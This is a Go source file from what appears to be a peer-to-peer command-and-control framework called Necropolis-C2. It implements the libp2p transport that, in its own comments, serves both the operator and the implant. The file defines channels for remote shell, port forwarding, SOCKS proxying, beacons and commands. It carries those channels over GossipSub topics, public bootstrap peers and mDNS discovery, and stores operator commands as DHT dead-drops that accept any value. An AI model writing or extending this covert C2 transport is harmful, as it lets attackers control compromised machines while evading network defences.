Necropolis-C2/pkg/transport/node.go

// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
// discovery. Used by both the operator and the implant.
package transport

import (
	"context"
	"fmt"
	"log"
	"strings"
	"sync"
	"time"

	"github.com/libp2p/go-libp2p"
	dht "github.com/libp2p/go-libp2p-kad-dht"
	pubsub "github.com/libp2p/go-libp2p-pubsub"
	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/host"
	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
	"github.com/libp2p/go-libp2p/core/protocol"
	"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
	routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
	"github.com/libp2p/go-libp2p/p2p/host/autorelay"
	"github.com/multiformats/go-multiaddr"
)

// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
const (
	NecropolisProtocolID  protocol.ID = "/x/1.0.0"
	ShellProtocolID    protocol.ID = "/x/sh/1.0.0"
	PortfwdProtocolID  protocol.ID = "/x/pf/1.0.0"
	SocksProtocolID    protocol.ID = "/x/sk/1.0.0"
	BeaconProtocolID   protocol.ID = "/bc/1.0.0"
	CmdProtocolID      protocol.ID = "/bc/1.0.0/cmd"
	CommandTopicPrefix  string     = "/c/"
	BeaconTopicPrefix   string     = "/b/"
	TaskTopicPrefix     string     = "/t/"
	CommandsSuffix      string     = "/cx"
	BeaconsSuffix       string     = "/bx"
	TasksSuffix         string     = "/tx/"
)

// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
func DefaultBootstrapAddrs() []peer.AddrInfo {
	var out []peer.AddrInfo
	for _, s := range defaultBootstrapPeers {
		m, err := multiaddr.NewMultiaddr(s)
		if err != nil {
			continue
		}
		pi, err := peer.AddrInfoFromP2pAddr(m)
		if err != nil {
			continue
		}
		out = append(out, *pi)
	}
	return out
}

var defaultBootstrapPeers = []string{
	"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
	"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
	"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
	"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
}

// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
// relay settings, DHT, mDNS, and the libp2p identity key.
type NodeConfig struct {
	ListenAddr         string
	BootstrapPeers     []peer.AddrInfo
	EnableRelay        bool
	EnableRelayService bool
	EnableMDNS         bool
	EnableDHT          bool
	RelayAddrs         []string
	PrivateKey         crypto.PrivKey
}

// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
// cached topics/subscriptions.
type Node struct {
	Host    host.Host
	PubSub  *pubsub.PubSub
	DHT     *dht.IpfsDHT
	disc    *routingdiscovery.RoutingDiscovery
	config  NodeConfig
	topics  map[string]*pubsub.Topic
	subs    map[string]*pubsub.Subscription
	mu      sync.RWMutex
	ctx     context.Context
	cancel  context.CancelFunc
}

// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
// and configures auto-relay if relay addresses are provided.
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
	ctx, cancel := context.WithCancel(ctx)

	baseOpts := []libp2p.Option{
		libp2p.ListenAddrStrings(cfg.ListenAddr),
	}

	if cfg.PrivateKey != nil {
		baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
	}

	if cfg.EnableRelay {
		baseOpts = append(baseOpts, libp2p.EnableRelay())
	}
	if cfg.EnableRelayService {
		baseOpts = append(baseOpts, libp2p.EnableRelayService())
	}

	var h host.Host
	var err error

	if len(cfg.RelayAddrs) > 0 {
		if cfg.EnableDHT {
			baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
				autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
					return findRelayCandidates(ctx, num, h)
				}),
			))
		} else {
			var relays []peer.AddrInfo
			for _, s := range cfg.RelayAddrs {
				m, err := multiaddr.NewMultiaddr(s)
				if err != nil {
					cancel()
					return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
				}
				pi, err := peer.AddrInfoFromP2pAddr(m)
				if err != nil {
					cancel()
					return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
				}
				relays = append(relays, *pi)
			}
			baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
		}
	} else if cfg.EnableDHT {
		baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
			autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
				return findRelayCandidates(ctx, num, h)
			}),
		))
	}

	baseOpts = append(baseOpts, opts...)

	h, err = libp2p.New(baseOpts...)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("create libp2p host: %w", err)
	}

	if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
		go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
	}

	params := pubsub.DefaultGossipSubParams()
	params.D = 6
	params.Dlo = 4
	params.Dhi = 12
	params.HistoryLength = 10
	params.HistoryGossip = 5
	params.HeartbeatInterval = 1 * time.Second

	ps, err := pubsub.NewGossipSub(ctx, h,
		pubsub.WithPeerExchange(true),
		pubsub.WithFloodPublish(true),
		pubsub.WithGossipSubParams(params),
	)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("create pubsub: %w", err)
	}

	n := &Node{
		Host:   h,
		PubSub: ps,
		config: cfg,
		topics: make(map[string]*pubsub.Topic),
		subs:   make(map[string]*pubsub.Subscription),
		ctx:    ctx,
		cancel: cancel,
	}

	if cfg.EnableDHT {
		d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
			dht.ProtocolPrefix("/necropolis"),
			dht.NamespacedValidator("necropolis", passThroughValidator{}),
		)
		if err != nil {
			cancel()
			return nil, fmt.Errorf("create dht: %w", err)
		}
		n.DHT = d
		n.disc = routingdiscovery.NewRoutingDiscovery(d)
	}

	return n, nil
}

// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
// starts mDNS if enabled.
func (n *Node) StartDiscovery() error {
	go func() {
		defer func() {
			recover()
		}()
		for _, pi := range n.config.BootstrapPeers {
			connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
			if err := n.Host.Connect(connectCtx, pi); err != nil {
				cancel()
				continue
			}
			cancel()
		}
	}()

	if n.DHT != nil {
		go func() {
			defer func() {
				recover()
			}()
			n.DHT.Bootstrap(n.ctx)
		}()
	}

	if n.config.EnableMDNS {
		svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
		if err := svc.Start(); err != nil {
			return fmt.Errorf("start mdns: %w", err)
		}
	}

	return nil
}

type mdnsNotifee struct {
	h host.Host
}

// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
	if pi.ID == m.h.ID() {
		return
	}
	for _, addr := range pi.Addrs {
		m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
	}
}

// Advertise registers this node under a DHT rendezvous namespace.
func (n *Node) Advertise(ctx context.Context, ns string) error {
	if n.disc == nil {
		return fmt.Errorf("DHT not enabled")
	}
	_, err := n.disc.Advertise(ctx, ns)
	return err
}

// FindPeers performs a DHT-based peer discovery for the given namespace.
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
	if n.disc == nil {
		return nil, fmt.Errorf("DHT not enabled")
	}
	return n.disc.FindPeers(ctx, ns)
}

// JoinTopic joins a PubSub topic, caching the handle for reuse.
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
	n.mu.Lock()
	defer n.mu.Unlock()

	if t, ok := n.topics[topic]; ok {
		return t, nil
	}

	t, err := n.PubSub.Join(topic)
	if err != nil {
		return nil, fmt.Errorf("join topic %s: %w", topic, err)
	}
	n.topics[topic] = t
	return t, nil
}

// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
	n.mu.Lock()
	defer n.mu.Unlock()

	if s, ok := n.subs[topic]; ok {
		return s, nil
	}

	t, ok := n.topics[topic]
	if !ok {
		var err error
		t, err = n.PubSub.Join(topic)
		if err != nil {
			return nil, fmt.Errorf("join topic %s: %w", topic, err)
		}
		n.topics[topic] = t
	}

	sub, err := t.Subscribe()
	if err != nil {
		return nil, fmt.Errorf("subscribe %s: %w", topic, err)
	}
	n.subs[topic] = sub
	return sub, nil
}

// Publish sends data to a PubSub topic.
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
	t, err := n.JoinTopic(topic)
	if err != nil {
		return err
	}
	return t.Publish(ctx, data)
}

// ConnectToPeer establishes a libp2p connection to the given peer.
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
	return n.Host.Connect(ctx, pi)
}

// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
	n.Host.SetStreamHandler(pid, handler)
}

// NewStream opens a libp2p stream to the given peer on the given protocol.
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
	return n.Host.NewStream(ctx, p, pid)
}

// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
func (n *Node) WaitForDHT(ctx context.Context) bool {
	for i := 0; i < 30; i++ {
		if n.DHT.RoutingTable().Size() >= 5 {
			return true
		}
		select {
		case <-ctx.Done():
			return false
		case <-time.After(2 * time.Second):
		}
	}
	return false
}

// Close cancels the node context, shuts down the DHT, and closes the host.
func (n *Node) Close() error {
	n.cancel()
	if n.DHT != nil {
		n.DHT.Close()
	}
	return n.Host.Close()
}

// Addrs returns the host's multiaddresses.
func (n *Node) Addrs() []multiaddr.Multiaddr {
	return n.Host.Addrs()
}

// ID returns the host's libp2p peer ID.
func (n *Node) ID() peer.ID {
	return n.Host.ID()
}

// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
	if n.DHT == nil {
		return fmt.Errorf("DHT not enabled")
	}
	return n.DHT.PutValue(ctx, key, value)
}

// GetDHTValue retrieves the best value for key from the DHT.
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
	if n.DHT == nil {
		return nil, fmt.Errorf("DHT not enabled")
	}
	val, err := n.DHT.GetValue(ctx, key)
	if err != nil {
		return nil, err
	}
	return val, nil
}

// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
// where we just need storage with no validation.
type passThroughValidator struct{}

func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }

// CommandDHTKey returns the DHT key for operator command dead-drops.
// Registered under the /necropolis/ namespace via NamespacedValidator.
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
	return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
}

// RelayRendezvousString returns the DHT namespace for relay peer discovery.
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
	return "necropolis/relay/" + operatorID.String()
}

// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
	if n.disc == nil {
		return fmt.Errorf("DHT not enabled")
	}
	_, err := n.disc.Advertise(ctx, ns)
	return err
}

// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
	if n.disc == nil {
		return nil, fmt.Errorf("DHT not enabled")
	}
	peerCh, err := n.disc.FindPeers(ctx, ns)
	if err != nil {
		return nil, err
	}
	var out []peer.AddrInfo
	for pi := range peerCh {
		if len(pi.Addrs) == 0 {
			continue
		}
		out = append(out, pi)
		if len(out) >= limit {
			break
		}
	}
	return out, nil
}

// findRelayCandidates scans connected peers for those running circuit relay.
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
	ch := make(chan peer.AddrInfo, num)
	go func() {
		defer func() {
			recover()
		}()
		defer close(ch)
		if h == nil {
			return
		}
		for _, p := range h.Network().Peers() {
			if len(ch) >= num {
				return
			}
			protocols, err := h.Peerstore().GetProtocols(p)
			if err != nil {
				continue
			}
			for _, proto := range protocols {
				if strings.Contains(string(proto), "circuit/relay") {
					addrs := h.Peerstore().Addrs(p)
					if len(addrs) > 0 {
						select {
						case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
						case <-ctx.Done():
							return
						}
					}
					break
				}
			}
		}
	}()
	return ch
}

// tryStaticRelayConnections attempts to connect to each static relay address in the config.
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
	for _, s := range relayAddrs {
		m, err := multiaddr.NewMultiaddr(s)
		if err != nil {
			log.Printf("[node] parse relay addr %q: %v", s, err)
			continue
		}
		pi, err := peer.AddrInfoFromP2pAddr(m)
		if err != nil {
			log.Printf("[node] parse relay peer %q: %v", s, err)
			continue
		}
		connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
		err = h.Connect(connCtx, *pi)
		cancel()
		if err != nil {
			log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
			continue
		}
		log.Printf("[node] connected to relay %s", pi.ID.String())
	}
}